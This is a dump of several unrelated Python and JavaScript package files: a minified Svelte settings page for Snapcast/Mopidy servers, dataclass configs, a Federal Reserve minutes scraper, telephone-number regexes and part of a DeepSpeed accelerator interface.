o(l=e[1],d),{c(){s=a(),d.block.c()},l(e){s=a(),d.block.l(e)},m(e,l){c(e,s,l),d.block.m(e,d.anchor=l),d.mount=(()=>s.parentNode),d.anchor=s,t=!0},p(s,t){e=s,d.ctx=e,2&t&&l!==(l=e[1])&&o(l,d)||r(d,e,t)},i(e){t||(i(d.block),t=!0)},o(e){for(let e=0;e<3;e+=1){const s=d.blocks[e];n(s)}t=!1},d(e){e&&p(s),d.block.d(e),d.token=null,d=null}}}function Y(e){let s,l,t=e[17].message+"";return{c(){s=v("button"),l=h(t),this.h()},l(e){s=y(e,"BUTTON",{class:!0});var a=m(s);l=b(a,t),a.forEach(p),this.h()},h(){g(s,"class","button is-danger svelte-1yjq2pc"),s.disabled=!0},m(e,t){c(e,s,t),E(s,l)},p(e,s){2&s&&t!==(t=e[17].message+"")&&P(l,t)},i:T,o:T,d(e){e&&p(s)}}}function Z(e){let s,l,t=e[16]+"";return{c(){s=v("button"),l=h(t),this.h()},l(e){s=y(e,"BUTTON",{class:!0});var a=m(s);l=b(a,t),a.forEach(p),this.h()},h(){g(s,"class","button is-success svelte-1yjq2pc"),s.disabled=!0},m(e,t){c(e,s,t),E(s,l)},p(e,s){2&s&&t!==(t=e[16]+"")&&P(l,t)},i:T,o:T,d(e){e&&p(s)}}}function ee(e){let s,l,t;return l=new w({props:{icon:H,spin:!0,class:"icon"}}),{c(){s=v("button"),f(l.$$.fragment),this.h()},l(e){s=y(e,"BUTTON",{class:!0});var t=m(s);q(l.$$.fragment,t),t.forEach(p),this.h()},h(){g(s,"class","button svelte-1yjq2pc")},m(e,a){c(e,s,a),I(l,s,null),t=!0},p:T,i(e){t||(i(l.$$.fragment,e),t=!0)},o(e){n(l.$$.fragment,e),t=!1},d(e){e&&p(s),$(l)}}}function se(e){let s,l,t,a,o,r,S,P,T,w,H,B,z,O,U,C,A,M,R,F,G,X,J,K,Y,Z,ee,se,le,te,ae,ce,oe,re,ie,ne,pe,de,ve,he,ue,fe,ye,me,be,je,qe,ge,Ee,xe,ke,Ie,De,Ve,$e,Le,Se,Pe,Te,we,He,Ne,_e,Be,ze,Oe,Ue,Ce,Ae,Me,Re,Fe,Ge,We,Xe,Je,Ke,Qe,Ye,Ze,es,ss,ls,ts,as,cs,os,rs,is,ns,ps,ds,vs,hs=e[0]&&W(e);qe=new d({});let us=e[1]&&Q(e);return{c(){s=v("h1"),l=h("Settings"),t=u(),a=v("br"),o=u(),r=v("h2"),S=h("Snapcast server"),P=u(),T=v("div"),w=v("div"),H=v("div"),B=v("label"),z=h("Hostname"),O=u(),U=v("div"),C=v("input"),A=u(),M=v("div"),R=v("div"),F=v("label"),G=h("Port"),X=u(),J=v("div"),K=v("input"),Y=u(),Z=v("div"),ee=v("label"),se=h("SSL"),le=u(),te=v("div"),ae=v("div"),ce=v("select"),oe=v("option"),re=h("http"),ie=v("option"),ne=h("https"),pe=u(),de=v("div"),ve=v("div"),he=v("p"),ue=v("a"),fe=h("Connect"),me=u(),be=v("p"),hs&&hs.c(),je=u(),f(qe.$$.fragment),ge=u(),Ee=v("hr"),xe=u(),ke=v("h2"),Ie=h("Mopidy server"),De=u(),Ve=v("div"),$e=v("div"),Le=v("div"),Se=v("label"),Pe=h("Hostname"),Te=u(),we=v("div"),He=v("input"),Ne=u(),_e=v("div"),Be=v("div"),ze=v("label"),Oe=h("Port"),Ue=u(),Ce=v("div"),Ae=v("input"),Me=u(),Re=v("div"),Fe=v("label"),Ge=h("SSL"),We=u(),Xe=v("div"),Je=v("div"),Ke=v("select"),Qe=v("option"),Ye=h("http"),Ze=v("option"),es=h("https"),ss=u(),ls=v("div"),ts=v("div"),as=v("p"),cs=v("a"),os=h("Connect"),is=u(),ns=v("p"),us&&us.c(),this.h()},l(e){s=y(e,"H1",{class:!0});var c=m(s);l=b(c,"Settings"),c.forEach(p),t=j(e),a=y(e,"BR",{}),o=j(e),r=y(e,"H2",{class:!0});var i=m(r);S=b(i,"Snapcast server"),i.forEach(p),P=j(e),T=y(e,"DIV",{class:!0});var n=m(T);w=y(n,"DIV",{class:!0});var d=m(w);H=y(d,"DIV",{class:!0});var v=m(H);B=y(v,"LABEL",{class:!0,for:!0});var h=m(B);z=b(h,"Hostname"),h.forEach(p),O=j(v),U=y(v,"DIV",{class:!0});var u=m(U);C=y(u,"INPUT",{class:!0,id:!0,type:!0,placeholder:!0}),u.forEach(p),v.forEach(p),d.forEach(p),A=j(n),M=y(n,"DIV",{class:!0});var f=m(M);R=y(f,"DIV",{class:!0});var g=m(R);F=y(g,"LABEL",{class:!0,for:!0});var E=m(F);G=b(E,"Port"),E.forEach(p),X=j(g),J=y(g,"DIV",{class:!0});var x=m(J);K=y(x,"INPUT",{class:!0,id:!0,type:!0,placeholder:!0}),x.forEach(p),g.forEach(p),f.forEach(p),Y=j(n),Z=y(n,"DIV",{class:!0});var k=m(Z);ee=y(k,"LABEL",{class:!0,for:!0});var I=m(ee);se=b(I,"SSL"),I.forEach(p),le=j(k),te=y(k,"DIV",{class:!0});var D=m(te);ae=y(D,"DIV",{class:!0});var V=m(ae);ce=y(V,"SELECT",{id:!0,class:!0});var $=m(ce);oe=y($,"OPTION",{});var L=m(oe);re=b(L,"http"),L.forEach(p),ie=y($,"OPTION",{});var N=m(ie);ne=b(N,"https"),N.forEach(p),$.forEach(p),V.forEach(p),D.forEach(p),k.forEach(p),pe=j(n),de=y(n,"DIV",{class:!0});var _=m(de);ve=y(_,"DIV",{class:!0});var W=m(ve);he=y(W,"P",{class:!0});var Q=m(he);ue=y(Q,"A",{class:!0,href:!0});var ye=m(ue);fe=b(ye,"Connect"),ye.forEach(p),Q.forEach(p),me=j(W),be=y(W,"P",{class:!0});var rs=m(be);hs&&hs.l(rs),rs.forEach(p),W.forEach(p),_.forEach(p),n.forEach(p),je=j(e),q(qe.$$.fragment,e),ge=j(e),Ee=y(e,"HR",{}),xe=j(e),ke=y(e,"H2",{class:!0});var ps=m(ke);Ie=b(ps,"Mopidy server"),ps.forEach(p),De=j(e),Ve=y(e,"DIV",{class:!0});var ds=m(Ve);$e=y(ds,"DIV",{class:!0});var vs=m($e);Le=y(vs,"DIV",{class:!0});var fs=m(Le);Se=y(fs,"LABEL",{class:!0,for:!0});var ys=m(Se);Pe=b(ys,"Hostname"),ys.forEach(p),Te=j(fs),we=y(fs,"DIV",{class:!0});var ms=m(we);He=y(ms,"INPUT",{class:!0,id:!0,type:!0,placeholder:!0}),ms.forEach(p),fs.forEach(p),vs.forEach(p),Ne=j(ds),_e=y(ds,"DIV",{class:!0});var bs=m(_e);Be=y(bs,"DIV",{class:!0});var js=m(Be);ze=y(js,"LABEL",{class:!0,for:!0});var qs=m(ze);Oe=b(qs,"Port"),qs.forEach(p),Ue=j(js),Ce=y(js,"DIV",{class:!0});var gs=m(Ce);Ae=y(gs,"INPUT",{class:!0,id:!0,type:!0,placeholder:!0}),gs.forEach(p),js.forEach(p),bs.forEach(p),Me=j(ds),Re=y(ds,"DIV",{class:!0});var Es=m(Re);Fe=y(Es,"LABEL",{class:!0,for:!0});var xs=m(Fe);Ge=b(xs,"SSL"),xs.forEach(p),We=j(Es),Xe=y(Es,"DIV",{class:!0});var ks=m(Xe);Je=y(ks,"DIV",{class:!0});var Is=m(Je);Ke=y(Is,"SELECT",{id:!0,class:!0});var Ds=m(Ke);Qe=y(Ds,"OPTION",{});var Vs=m(Qe);Ye=b(Vs,"http"),Vs.forEach(p),Ze=y(Ds,"OPTION",{});var $s=m(Ze);es=b($s,"https"),$s.forEach(p),Ds.forEach(p),Is.forEach(p),ks.forEach(p),Es.forEach(p),ss=j(ds),ls=y(ds,"DIV",{class:!0});var Ls=m(ls);ts=y(Ls,"DIV",{class:!0});var Ss=m(ts);as=y(Ss,"P",{class:!0});var Ps=m(as);cs=y(Ps,"A",{class:!0,href:!0});var Ts=m(cs);os=b(Ts,"Connect"),Ts.forEach(p),Ps.forEach(p),is=j(Ss),ns=y(Ss,"P",{class:!0});var ws=m(ns);us&&us.l(ws),ws.forEach(p),Ss.forEach(p),Ls.forEach(p),ds.forEach(p),this.h()},h(){g(s,"class","title"),g(r,"class","subtitle"),g(B,"class","label svelte-1yjq2pc"),g(B,"for","snapcastHost"),g(C,"class","input is-rounded svelte-1yjq2pc"),g(C,"id","snapcastHost"),g(C,"type","text"),g(C,"placeholder","Hostname"),g(U,"class","control svelte-1yjq2pc"),g(H,"class","field svelte-1yjq2pc"),g(w,"class","column is-12-mobile is-4-desktop"),g(F,"class","label svelte-1yjq2pc"),g(F,"for","snapcastPort"),g(K,"class","input is-rounded svelte-1yjq2pc"),g(K,"id","snapcastPort"),g(K,"type","text"),g(K,"placeholder","Port"),g(J,"class","control svelte-1yjq2pc"),g(R,"class","field svelte-1yjq2pc"),g(M,"class","column is-12-mobile is-4-desktop"),g(ee,"class","label svelte-1yjq2pc"),g(ee,"for","snapcastSSL"),oe.__value="false",oe.value=oe.__value,ie.__value="true",ie.value=ie.__value,g(ce,"id","snapcastSSL"),g(ce,"class","svelte-1yjq2pc"),void 0===e[4]&&N(()=>e[10].call(ce)),g(ae,"class","select svelte-1yjq2pc"),g(te,"class","control svelte-1yjq2pc"),g(Z,"class","column is-12-mobile is-4-desktop"),g(ue,"class","button svelte-1yjq2pc"),g(ue,"href",ye=null),g(he,"class","control svelte-1yjq2pc"),g(be,"class","control svelte-1yjq2pc"),g(ve,"class","field is-grouped is-grouped-multiline svelte-1yjq2pc"),g(de,"class","column is-12-mobile is-6-desktop"),g(T,"class","columns is-multiline"),g(ke,"class","subtitle"),g(Se,"class","label svelte-1yjq2pc"),g(Se,"for","mopidyHost"),g(He,"class","input is-rounded svelte-1yjq2pc"),g(He,"id","mopidyHost"),g(He,"type","text"),g(He,"placeholder","Hostname"),g(we,"class","control svelte-1yjq2pc"),g(Le,"class","field svelte-1yjq2pc"),g($e,"class","column is-12-mobile is-4-desktop"),g(ze,"class","label svelte-1yjq2pc"),g(ze,"for","mopidyPort"),g(Ae,"class","input is-rounded svelte-1yjq2pc"),g(Ae,"id","mopidyPort"),g(Ae,"type","text"),g(Ae,"placeholder","Port"),g(Ce,"class","control svelte-1yjq2pc"),g(Be,"class","field svelte-1yjq2pc"),g(_e,"class","column is-12-mobile is-4-desktop"),g(Fe,"class","label svelte-1yjq2pc"),g(Fe,"for","mopidySSL"),Qe.__value="false",Qe.value=Qe.__value,Ze.__value="true",Ze.value=Ze.__value,g(Ke,"id","mopidySSL"),g(Ke,"class","svelte-1yjq2pc"),void 0===e[7]&&N(()=>e[14].call(Ke)),g(Je,"class","select svelte-1yjq2pc"),g(Xe,"class","control svelte-1yjq2pc"),g(Re,"class","column is-12-mobile is-4-desktop"),g(cs,"class","button svelte-1yjq2pc"),g(cs,"href",rs=null),g(as,"class","control svelte-1yjq2pc"),g(ns,"class","control svelte-1yjq2pc"),g(ts,"class","field is-grouped is-grouped-multiline svelte-1yjq2pc"),g(ls,"class","column is-12-mobile is-6-desktop"),g(Ve,"class","columns is-multiline")},m(i,n){c(i,s,n),E(s,l),c(i,t,n),c(i,a,n),c(i,o,n),c(i,r,n),E(r,S),c(i,P,n),c(i,T,n),E(T,w),E(w,H),E(H,B),E(B,z),E(H,O),E(H,U),E(U,C),x(C,e[2]),E(T,A),E(T,M),E(M,R),E(R,F),E(F,G),E(R,X),E(R,J),E(J,K),x(K,e[3]),E(T,Y),E(T,Z),E(Z,ee),E(ee,se),E(Z,le),E(Z,te),E(te,ae),E(ae,ce),E(ce,oe),E(oe,re),E(ce,ie),E(ie,ne),k(ce,e[4]),E(T,pe),E(T,de),E(de,ve),E(ve,he),E(he,ue),E(ue,fe),E(ve,me),E(ve,be),hs&&hs.m(be,null),c(i,je,n),I(qe,i,n),c(i,ge,n),c(i,Ee,n),c(i,xe,n),c(i,ke,n),E(ke,Ie),c(i,De,n),c(i,Ve,n),E(Ve,$e),E($e,Le),E(Le,Se),E(Se,Pe),E(Le,Te),E(Le,we),E(we,He),x(He,e[5]),E(Ve,Ne),E(Ve,_e),E(_e,Be),E(Be,ze),E(ze,Oe),E(Be,Ue),E(Be,Ce),E(Ce,Ae),x(Ae,e[6]),E(Ve,Me),E(Ve,Re),E(Re,Fe),E(Fe,Ge),E(Re,We),E(Re,Xe),E(Xe,Je),E(Je,Ke),E(Ke,Qe),E(Qe,Ye),E(Ke,Ze),E(Ze,es),k(Ke,e[7]),E(Ve,ss),E(Ve,ls),E(ls,ts),E(ts,as),E(as,cs),E(cs,os),E(ts,is),E(ts,ns),us&&us.m(ns,null),ps=!0,ds||(vs=[D(C,"input",e[8]),D(K,"input",e[9]),D(ce,"change",e[10]),D(ue,"click",e[11]),D(He,"input",e[12]),D(Ae,"input",e[13]),D(Ke,"change",e[14]),D(cs,"click",e[15])],ds=!0)},p(e,[s]){4&s&&C.value!==e[2]&&x(C,e[2]),8&s&&K.value!==e[3]&&x(K,e[3]),16&s&&k(ce,e[4]),e[0]?hs?(hs.p(e,s),1&s&&i(hs,1)):((hs=W(e)).c(),i(hs,1),hs.m(be,null)):hs&&(_(),n(hs,1,1,()=>{hs=null}),V()),32&s&&He.value!==e[5]&&x(He,e[5]),64&s&&Ae.value!==e[6]&&x(Ae,e[6]),128&s&&k(Ke,e[7]),e[1]?us?(us.p(e,s),2&s&&i(us,1)):((us=Q(e)).c(),i(us,1),us.m(ns,null)):us&&(_(),n(us,1,1,()=>{us=null}),V())},i(e){ps||(i(hs),i(qe.$$.fragment,e),i(us),ps=!0)},o(e){n(hs),n(qe.$$.fragment,e),n(us),ps=!1},d(e){e&&p(s),e&&p(t),e&&p(a),e&&p(o),e&&p(r),e&&p(P),e&&p(T),hs&&hs.d(),e&&p(je),$(qe,e),e&&p(ge),e&&p(Ee),e&&p(xe),e&&p(ke),e&&p(De),e&&p(Ve),us&&us.d(),ds=!1,L(vs)}}}function le(e,s,l){let t,a,c,o,r,i,n,p;S(e,B,e=>l(2,t=e)),S(e,z,e=>l(3,a=e)),S(e,U,e=>l(4,c=e)),S(e,A,e=>l(5,o=e)),S(e,M,e=>l(6,r=e)),S(e,R,e=>l(7,i=e));return[n,p,t,a,c,o,r,i,function(){t=this.value,B.set(t)},function(){a=this.value,z.set(a)},function(){c=O(this),U.set(c)},()=>l(0,n=C(!0)),function(){o=this.value,A.set(o)},function(){r=this.value,M.set(r)},function(){i=O(this),R.set(i)},()=>l(1,p=F(!0))]}export default class extends e{constructor(e){super(),s(this,e,le,se,l,{},G)}}
PypiClean
/EModelRunner-1.1.16.tar.gz/EModelRunner-1.1.16/emodelrunner/configuration/subgroups.py
# Copyright 2020-2022 Blue Brain Project / EPFL # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from dataclasses import dataclass from typing import Optional @dataclass(frozen=True) class HocPaths: """Contains paths relative to hoc files creation.""" hoc_dir: str cell_hoc_filename: str simul_hoc_filename: str run_hoc_filename: str syn_dir: str syn_dir_for_hoc: str syn_hoc_filename: str main_protocol_filename: str @dataclass(frozen=True) class ProtArgs: """Contains data needed to create protocols.""" emodel: str apical_point_isec: int mtype: str prot_path: str features_path: str @dataclass(frozen=True) class SynMechArgs: """Contains data needed to create synapse mechanimsms. Attributes can be accessed only if add_synapses is True. """ add_synapses: bool seed: int rng_settings_mode: str syn_conf_file: str syn_data_file: str syn_dir: str def __getattribute__(self, item): """Modified getattribute to restrict access to when add_synapses is True. Raises: AttributeError when an attribute other than add_synapses is looked for and add_synapses is False """ if item != "add_synapses" and not self.add_synapses: raise AttributeError( f"You can not access {item} if add_synapses is {self.add_synapses}." ) return super().__getattribute__(item) @dataclass(frozen=True) class MorphArgs: """Contains data relative to morphology.""" morph_path: str do_replace_axon: bool axon_hoc_path: Optional[str] = None @dataclass(frozen=True) class PresynStimArgs: """Contains data relative to the presynaptic cell stimuli.""" stim_train: float amp: float width: float
PypiClean
/Fedtools-0.0.7-py3-none-any.whl/FedTools/FedMins.py
from __future__ import print_function from bs4 import BeautifulSoup from urllib.request import Request, urlopen from fake_useragent import UserAgent from datetime import datetime import os import re import pandas as pd import pickle import threading import sys class FederalReserveMins(object): """ This class firstly checks that each of the input arguments are of the correct type, followed by extracting the release date of each previous Federal Reserve Minutes release. The class extracts the Minutes, placing results into a Pandas DataFrame, indexed by release date. :param main_url: the Federal Reserve Open Monetary Policy (FOMC) website URL. (str) :param calendar_url: the URL containing a list of FOMC Meeting dates. (str) :param start_year: the year which the user wishes to begin parsing from. (int) :param historical_split: the year considered as historical (historical vs current archive list). (int) :param verbose: boolean determining printing during scraping. (bool) :param thread_num: the number of threads to use for web scraping. (int) :return: dataset: a DataFrame containing meeting minutes, indexed by meeting date. (pd.DataFrame) """ def __init__(self, main_url: str = 'https://www.federalreserve.gov', calendar_url: str = 'https://www.federalreserve.gov/monetarypolicy/fomccalendars.htm', start_year: int = 1995, historical_split: int = 2014, verbose: bool = True, thread_num: int = 10 ): if not all(isinstance(v, str) for v in [main_url, calendar_url]): raise TypeError("The 'main_url' and 'calendar_url' arguments must be string types.") if not all(isinstance(v, int) for v in [start_year, historical_split, thread_num]): raise TypeError("The 'start_year', 'historical_split' and 'thread_num' arguments must be integer types.") if not isinstance(verbose, bool): raise TypeError("The 'verbose' argument must be a boolean type.") if (start_year >= datetime.today().year) or (historical_split >= datetime.today().year): raise ValueError("The 'start_year' argument and 'historical_split' argument must be in the past.") if historical_split < start_year: raise Warning("The historical split value is typically after the start of the period. " "Please consult the Federal Reserve Website") self.main_url = main_url self.calendar_url = calendar_url self.start_year = start_year self.HISTORICAL_SPLIT = historical_split self.verbose = verbose self.THREAD_NUM = thread_num self.dataset = None self.links = None self.full_links = None self.dates = None self.articles = None def _obtain_links(self, start_year: int): """ The helper function constructs the links of all FOMC meetings, beginning at the start_year' argument, and continuing to the current date. :param start_year: the year at which the link construction begins. (int) """ if not isinstance(start_year, int): raise TypeError("The 'start_year' variable must be an integer type.") if self.verbose: print("Constructing links between {} and {}".format(start_year, datetime.today().year)) self.links = [] self.full_links = [] annual_links = [] fed_minutes_socket = self._urlopen_with_ua(self.calendar_url) soup = BeautifulSoup(fed_minutes_socket, 'html.parser') fed_mins = soup.find_all('a', href=re.compile('^/monetarypolicy/fomcminutes\\d{8}.htm')) self.links = [fed_min.attrs['href'] for fed_min in fed_mins] if start_year <= self.HISTORICAL_SPLIT: for year in range(start_year, self.HISTORICAL_SPLIT + 1): fed_mins_annual_url = self.main_url + '/monetarypolicy/fomchistorical' + str(year) + '.htm' fed_mins_annual_socket = self._urlopen_with_ua(fed_mins_annual_url) fed_mins_annual_soup = BeautifulSoup(fed_mins_annual_socket, 'html.parser') historical_mins = fed_mins_annual_soup.findAll('a', text='HTML') historical_mins.extend(fed_mins_annual_soup.findAll('a', text='Minutes')) for historical_min in historical_mins: self.full_links.append(historical_min.attrs['href']) annual_links = [x for x in self.full_links if 'fomcminutes' in x] annual_links.extend([x for x in self.full_links if 'MINUTES' in x]) annual_links.extend([x for x in self.full_links if 'minutes' in x]) for x in annual_links: if x not in self.links: self.links.append(x) @staticmethod def _urlopen_with_ua(url: str) -> str: """ This helper function adds user agent credentials to the request, enabling the script to interact with the Federal Reserve website. :param url: the url to be queried, without a user agent. (str) :return: urlopen(req): the url opened using a user agent. (str) """ if not isinstance(url, str): raise TypeError("The 'url' argument must be a string type.") ua = UserAgent() req = Request(url) req.add_header("user-agent", ua.chrome) return urlopen(req) @staticmethod def _find_date_from_link(link: str) -> str: """ This helper function determines the FOMC meeting date from the relevant link. The function firstly checks that the link is a string type, followed by parsing the string to generate the date. The date string is subsequently returned. :param link: the link string to be parsed for dates. (str) :return: date: the date string parsed from the link string. (str) """ if not isinstance(link, str): raise TypeError("The 'link' argument must be a string type.") date = re.findall('[0-9]{8}', link)[0] if date[4] == '0': date = "{}/{}/{}".format(date[:4], date[5:6], date[6:]) else: date = "{}/{}/{}".format(date[:4], date[4:6], date[6:]) return date def _add_article(self, link: str, index: int = None): """ This helper function adds the related minutes for 1 link to the instance variable. Multithreading stipulates that the articles must be stored in the correct order, where the 'index' argument is the index in the article to add to. :param link: the link to be opened and data generated for. (str) :param index: the index associated with the link. (int) """ if not isinstance(link, str): raise TypeError("The 'link' argument must be a string type.") if not isinstance(index, (type(None), int)): raise TypeError("The 'index' argument must either be a None type or a integer type.") if self.verbose: sys.stdout.write(".") sys.stdout.flush() self.dates.append(self._find_date_from_link(link)) if len(link) <= 50: fed_mins_output_socket = self._urlopen_with_ua(self.main_url + link) fed_mins_output = BeautifulSoup(fed_mins_output_socket, 'html.parser') paragraph_delimiter = fed_mins_output.findAll('p') self.articles[index] = "\n\n".join([paragraph.get_text().strip() for paragraph in paragraph_delimiter]) else: fed_mins_output_socket = self._urlopen_with_ua(link) fed_mins_output = BeautifulSoup(fed_mins_output_socket, 'html.parser') paragraph_delimiter = fed_mins_output.findAll('p') self.articles[index] = "\n\n".join([paragraph.get_text().strip() for paragraph in paragraph_delimiter]) def _multithreaded_article_retrieval(self): """ This helper function returns all articles associated with each link. The function firstly initiates the threads, as specified by the 'thread_num' argument passed to the class. The function uses each thread to efficiently extract the articles and store the outcome. """ if self.verbose: print("Retrieving articles.") self.dates, self.articles = [], [''] * len(self.links) jobs = [] index = 0 while index < len(self.links): if len(jobs) < self.THREAD_NUM: thread = threading.Thread(target=self._add_article, args=(self.links[index], index,)) jobs.append(thread) thread.start() index += 1 else: thread = jobs.pop(0) thread.join() for thread in jobs: thread.join() for row in range(len(self.articles)): self.articles[row] = self.articles[row].strip() def find_minutes(self) -> pd.DataFrame: """ This function acts as the main public function of the class, returning the FOMC Minutes by efficiently extracting the Minutes from the FOMC Website. The function then places each minutes into a Pandas DataFrame, indexed by the meeting date string. :return: dataset: a Pandas DataFrame containing the meeting minutes, indexed by meeting date. (pd.DataFrame) """ self._obtain_links(self.start_year) if self.verbose: print("Extracting Federal Reserve Minutes.") self._multithreaded_article_retrieval() self.dataset = pd.DataFrame(self.articles, index=pd.to_datetime(self.dates)).sort_index() self.dataset.columns = ['Federal_Reserve_Mins'] self.dataset = self.dataset[~self.dataset.index.duplicated(keep='first')] for i in range(len(self.dataset)): self.dataset.iloc[i, 0] = self.dataset.iloc[i, 0].replace('\n', ' ') self.dataset.iloc[i, 0] = self.dataset.iloc[i, 0].replace('\r', ' ') self.dataset.iloc[i, 0] = self.dataset.iloc[i, 0].replace('\t', '') self.dataset.iloc[i, 0] = self.dataset.iloc[i, 0].replace('\xa0', '') self.dataset.iloc[i, 0] = self.dataset.iloc[i, 0].strip() return self.dataset def pickle_data(self, directory: str) -> bool: """ This public function acts as a main public function, for extraction and pickling of the extracted data to the 'directory' argument passed. The function checks that the directory argument is a string type, followed by checking if the directory ends with the appropriate extension. The folder is then created if necessary, followed by the data being written to the pickle file, where a boolean is returned to denote success / failure of the file write operation. :param directory: the directory to which the file should be written. (str) :return: bool: determines if the file was written correctly. (bool) """ if not isinstance(directory, str): raise TypeError("The 'directory' argument must be a string type.") if not directory.endswith((".pkl", ".pickle")): raise TypeError("The pickle file directory should end with a '.pkl' or '.pickle' extension.") if not os.path.exists(os.path.split(directory)[0]): if self.verbose: print("Creating {} directory.".format(os.path.split(directory)[0])) os.mkdir(os.path.split(directory)[0]) output_dataset = self.find_minutes() try: with open(directory, "wb") as pickle_output: pickle.dump(output_dataset, pickle_output) return True except(NotImplementedError, FileNotFoundError): return False if __name__ == '__main__': dataset = FederalReserveMins().find_minutes() FederalReserveMins().pickle_data("FILEPATH\\abc.pkl")
PypiClean
/GTW-1.2.6.tar.gz/GTW-1.2.6/_OMP/_PAP/_E164/ndc_data.py
from __future__ import division, print_function from __future__ import absolute_import, unicode_literals from _GTW import GTW from _TFL import TFL from _TFL.Regexp import \ (Regexp, Multi_Regexp, Re_Replacer, Multi_Re_Replacer, re) import _GTW._OMP._PAP._E164 ### https://en.wikipedia.org/wiki/Telephone_numbers_in_Poland _poland_geo_ndc = "".join \ ( ( "(?:" , "|".join ( ( "1[2-8]" , "2[2-59]" , "3[2-4]" , "4[1-468]" , "5[245689]" , "6[123578]" , "7[14-7]" , "8[1-79]" , "9[145]" ) ) , ")" ) ) _poland_mobile_ndc = "".join \ ( ( "(?:" , "|".join ( ( "5[0137]" , "6[069]" , "7[2389]" , "88" ) ) , ")" ) ) _poland_ndc= "".join \ ( ( "(?:" , "|".join ((_poland_geo_ndc, _poland_mobile_ndc)) , ")" ) ) ### https://en.wikipedia.org/wiki/Local_conventions_for_writing_telephone_numbers ### Map of regular expressions for matching phone numbers, ### indexed by country code ndc_sn_matcher_map = \ { "1" : ### North America (US, CA, ...) ### https://en.wikipedia.org/wiki/Local_conventions_for_writing_telephone_numbers#United_States.2C_Canada.2C_and_other_NANP_countries ### https://en.wikipedia.org/wiki/North_American_Numbering_Plan Multi_Regexp ( Regexp ( r"\(" + r"(?P<ndc>[0-9]{3})" + r"\) ?" r"(?P<sn>[0-9]{3}[- .]?[0-9]{4})?" ) , Regexp ( r"(?P<ndc>[0-9]{3})[- .]" r"(?P<sn>[0-9]{3}[- .]?[0-9]{4})?" ) ) , "351" : ### Portugal ### https://en.wikipedia.org/wiki/Local_conventions_for_writing_telephone_numbers#Portugal Multi_Regexp ( Regexp ( r"(?P<ndc>2[12]|9[1236])[- ]?" r"(?P<sn>\d{2}[- ]?\d{2}[- ]?\d{3})?" ) , Regexp ( r"(?P<ndc>256|309)[- ]?" r"(?P<sn>\d{3}[- ]?\d{3})?" ) ) , "36" : ### Hungary ### https://en.wikipedia.org/wiki/Telephone_numbers_in_Hungary Regexp ( r"(?P<ndc>1|[2-9][0-9]) ?" r"(?P<sn>[0-9]{3}[- ]?[0-9]{3,4})?" ) , "47" : ### Norway ### https://en.wikipedia.org/wiki/Telephone_numbers_in_Norway Multi_Regexp ( Regexp ( r"(?P<ndc>[49]\d{2}|59\d)[- ]?" r"(?P<sn>\d{2}[- ]?\d{3})?" ) , Regexp ( r"(?P<ndc>58\d)[- ]?" r"(?P<sn>\d{3}[- ]?\d{3}[- ]?\d{3})?" ) , Regexp ( r"(?P<ndc>3[23578])[- ]?" r"(?P<sn>\d{2}[- ]?\d{2}[- ]?\d{2})?" ) , Regexp ( r"(?P<ndc>[2567])" r"(?P<sn>\d[- ]?\d{2}[- ]?\d{2}[- ]?\d{2})?" ) ) , "48" : ### Poland ### https://en.wikipedia.org/wiki/Telephone_numbers_in_Poland Multi_Regexp ( Regexp ( r"(?P<ndc>" + _poland_ndc + ")[- ]?" r"(?P<sn>\d{3}[- ]?\d{2}[- ]?\d{2})?" ) , Regexp ( r"(?P<ndc>" + _poland_mobile_ndc + ")?" r"(?P<sn>\d[- ]?\d{3}[- ]?\d{3})?" ) , Regexp ( r"\(" + r"(?P<ndc>" + _poland_ndc + ")" + r"\) ?" r"(?P<sn>\d{3}[- ]?\d{2}[- ]?\d{2})?" ) ) } ### https://en.wikipedia.org/wiki/Local_conventions_for_writing_telephone_numbers ### maximum length of ndc+sn, indexed by country code ndc_sn_max_length = \ { "1" : 10 , "31" : 9 , "32" : 9 , "33" : 9 , "351" : 9 , "34" : 9 , "386" : 8 , "41" : 9 , "43" : 13 , "44" : 10 , "45" : 8 , "47" : 8 , "48" : 9 , "49" : 11 } ### https://en.wikipedia.org/wiki/Local_conventions_for_writing_telephone_numbers ### minimum length of ndc+sn, indexed by country code ndc_sn_min_length = \ { "1" : 10 , "31" : 9 , "32" : 8 , "33" : 9 , "351" : 9 , "34" : 9 , "386" : 8 , "41" : 9 , "43" : 8 , "44" : 9 , "45" : 8 , "47" : 8 , "48" : 9 , "49" : 5 } if __name__ != "__main__" : GTW.OMP.PAP.E164._Export ("*") ### __END__ GTW.OMP.PAP.E164.ndc_data
PypiClean
/Adeepspeed-0.9.2.tar.gz/Adeepspeed-0.9.2/accelerator/abstract_accelerator.py
# DeepSpeed Team import abc from abc import ABC class DeepSpeedAccelerator(ABC): def __init__(self): self._name = None self._communication_backend_name = None # Device APIs @abc.abstractmethod def device_name(self, device_index): ... @abc.abstractmethod def device(self, device_index): ... @abc.abstractmethod def set_device(self, device_index): ... @abc.abstractmethod def current_device(self): ... @abc.abstractmethod def current_device_name(self): ... @abc.abstractmethod def device_count(self): ... @abc.abstractmethod def synchronize(self, device_index=None): ... # RNG APIs @abc.abstractmethod def random(self): ... @abc.abstractmethod def set_rng_state(self, new_state, device_index=None): ... @abc.abstractmethod def get_rng_state(self, device_index=None): ... @abc.abstractmethod def manual_seed(self, seed): ... @abc.abstractmethod def manual_seed_all(self, seed): ... @abc.abstractmethod def initial_seed(self, seed): ... @abc.abstractmethod def default_generator(self, device_index): ... # Streams/Events @property @abc.abstractmethod def Stream(self): ... @abc.abstractmethod def stream(self, stream): ... @abc.abstractmethod def current_stream(self, device_index=None): ... @abc.abstractmethod def default_stream(self, device_index=None): ... @property @abc.abstractmethod def Event(self): ... # Memory management @abc.abstractmethod def empty_cache(self): ... @abc.abstractmethod def memory_allocated(self, device_index=None): ... @abc.abstractmethod def max_memory_allocated(self, device_index=None): ... @abc.abstractmethod def reset_max_memory_allocated(self, device_index=None): ... @abc.abstractmethod def memory_cached(self, device_index=None): ... @abc.abstractmethod def max_memory_cached(self, device_index=None): ... @abc.abstractmethod def reset_max_memory_cached(self, device_index=None): ... @abc.abstractmethod def memory_stats(self, device_index=None): ... @abc.abstractmethod def reset_peak_memory_stats(self, device_index=None): ... @abc.abstractmethod def memory_reserved(self, device_index=None): ... @abc.abstractmethod def max_memory_reserved(self, 